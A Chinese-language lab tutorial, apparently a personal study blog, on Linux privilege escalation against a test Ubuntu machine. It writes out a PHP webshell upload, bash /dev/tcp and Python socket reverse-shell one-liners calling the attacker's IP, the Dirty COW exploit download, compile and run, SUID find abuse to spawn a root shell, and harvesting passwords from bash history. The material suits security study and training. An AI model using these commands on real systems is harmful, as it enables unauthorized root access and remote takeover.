前言:

上次学习了Windows操作系统的提权以及相关工具的利用,这次就来学习一下Linux操作系统的提权

Linux提权基础

0x00:Linux提权方法

大致归纳总结如下:

提权学习之旅——Linux操作系统提权_上传

不过最核心也是最常见的提取方法还是内核提权,其他大多与程序员的配置有关,出现的几率不是很高。

0x01:Linux提权基础知识

uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版

密码权限

大部分Linux系统的密码都和​​/etc/passwd​​和​​/etc/shadow​​这两个配置文件有关,​​passwd​​里面储存的是用户,​​shadow​​里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。

​/etc/passwd​

提权学习之旅——Linux操作系统提权_当前用户_02

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面.

​/etc/shadow​

提权学习之旅——Linux操作系统提权_ubuntu_03

shadow里面的就是密码的hash,但只有root权限才可以查看。

密码复用

另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者web后台的密码就是root密码。

提权常见的流程

  1. ​wget http://exp/exp.c​
下载exp文件

  1. ​gcc -o exp exp.c​
利用gcc进行编译操作,编译成二进制文件

  1. ​chmod +x exp​
将exp更改为可执行权限

  1. ​./exp​
运行exp进行提权

0x02:Linux反弹shell

Linux一般拿到​​shell​​,权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容,如在菜刀中执行​​ssh​​等命令就不可行),所以需要通过反弹shell拥有一个交互式的shell

准备环境

ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152

上传进去一个​​php​​一句话木马,菜刀连接

提权学习之旅——Linux操作系统提权_ubuntu_04

查看当前权限

提权学习之旅——Linux操作系统提权_当前用户_05

下面就使用反弹shell的方法获取到交互式shell

第一种方法:

利用最经典也是最常用的方法进行反弹shell,另外反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。

先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1

但是执行失败了,没有权限

提权学习之旅——Linux操作系统提权_ubuntu_06

第二种方法:

利用python脚本进行反弹shell,要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录,一般在​​tmp​​或者​​/var/tmp​​中就有这样的权限

提权学习之旅——Linux操作系统提权_ubuntu_07

​pyshell​

使用方法:
本地监听 :nc -l -p 53 -vv
目标机器执行:python back.py 192.168.186.134 53

提权学习之旅——Linux操作系统提权_当前用户_08

反弹成功,这样就形成了一个交互式的shell,方便下一步的进行

如果在使用python文件没有权限时,使用如下命令即可,因为该文件是当前用户上传进去的,拥有修改的权限。

chmod 777 back.py

提权学习之旅——Linux操作系统提权_ubuntu_09

0x03:脏牛提权

​Dirty COW,CVE-2016-5195​​,攻击者可利用该漏洞本地以低权限提升到root权限。Dirty COW 是一个特权升级漏洞,可以在每个​​Linux发行版​​中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,根本无从知晓。

漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

​exp地址​

在反弹shell成功的基础上继续来做

先来看一下操作系统的版本,低于列表里的版本即存在脏牛漏洞

uname -r

通过​​/etc/passwd​​了解到超级管理员是root

提权学习之旅——Linux操作系统提权_当前用户_10

查看下当前用户的id

提权学习之旅——Linux操作系统提权_当前用户_11

下载exp文件

wget https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以看exp中的说明来执行命令

提权学习之旅——Linux操作系统提权_root权限_12

先通过gcc来编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

提权学习之旅——Linux操作系统提权_root权限_13

编译好的dirty文件,替换root用户

./dirty

成功替换掉了原来的root用户,提权成功。

提权学习之旅——Linux操作系统提权_linux_14

脏牛提权除下这个exp,还有其他的,例如:​​CVE-2016-5195​​,具体就不在演示了,按照说明即可,注意文件名不对,自己改下就好。提权学习之旅——Linux操作系统提权_当前用户_15

Linux提权实战

0x00:Linux分析工具

Linux-exploit-suggester

Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。

​Linux-exploit-suggester​

./linux-exploit-suggester.sh

执行命令即可

提权学习之旅——Linux操作系统提权_root权限_16

这样就将存在的漏洞呈现了出来,利用exp提权即可,非常方便.

Searchsploit

Searchsploit通过本地的exploit-db, 查找软件漏洞信息

使用方法:

searchsploit

提权学习之旅——Linux操作系统提权_上传_17

如需查看CentOS 7 内核版本为3.10的内核漏洞

searchsploit centos 7 kernel 3.10

提权学习之旅——Linux操作系统提权_上传_18

知道该内核版本下存在哪些漏洞即可进行提权操作

0x02:SUID提权

什么是SUID

在Linux中,存在suid、guid、sticky,SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

如果想要为文件附上这样的权限命令:

chmod u+s
chmod 4755

(有​​s​​标志位便是拥有SUID权限)

具体的话大致理解就是通过拥有SUID权限二进制文件或程序可以执行命令等,从而进行root提权操作

提权学习之旅——Linux操作系统提权_root权限_19

查找符合条件的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

提权学习之旅——Linux操作系统提权_ubuntu_20

上面的所有二进制文件都可以在root权限下运行,因为属主是root,且权限中含有s

下面就以find命令来实践一下,首先要给find设当SUID权限

chmod u+s /usr/bin/find

提权学习之旅——Linux操作系统提权_上传_21

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

当前用户为

提权学习之旅——Linux操作系统提权_ubuntu_22

随便找一个文件主要是为了执行后面的命令

/usr/bin/find pass.txt -exec whoami \;

提权学习之旅——Linux操作系统提权_上传_23

提权成功,接下来以root用户的身份反弹shell

/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

提权学习之旅——Linux操作系统提权_root权限_24

如果出现如下错误,关闭两边的防火墙即可

提权学习之旅——Linux操作系统提权_root权限_25

反弹shell成功,当然还有其他命令可以进行提权,前提是要有SUID权限,这里就不再举例了。

0x03:历史记录提权

通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数​​-p​​,从而将密码暴露出来或者一些​​.sh​​脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码

cat ~/.bash_history
保存了当前用户使用过的历史命令

提权学习之旅——Linux操作系统提权_linux_26

如果拿到数据库的账号密码,有可能就是root密码

0x04:计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*

提权学习之旅——Linux操作系统提权_上传_27

默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。

0x05:配置错误引发提权

手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找

unix-privesc-check:​​http://pentestmonkey.net/tools/audit/unix-privesc-check​

linuxprivchecker: ​​https://www.securitysift.com/download/linuxprivchecker.py​

提权学习之旅——Linux操作系统提权_linux_28

检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。

总结

经过这次学习,简单的算是对Linux提权有了一定的了解,但还有很多姿势需要去学习,还是需要不断去积累。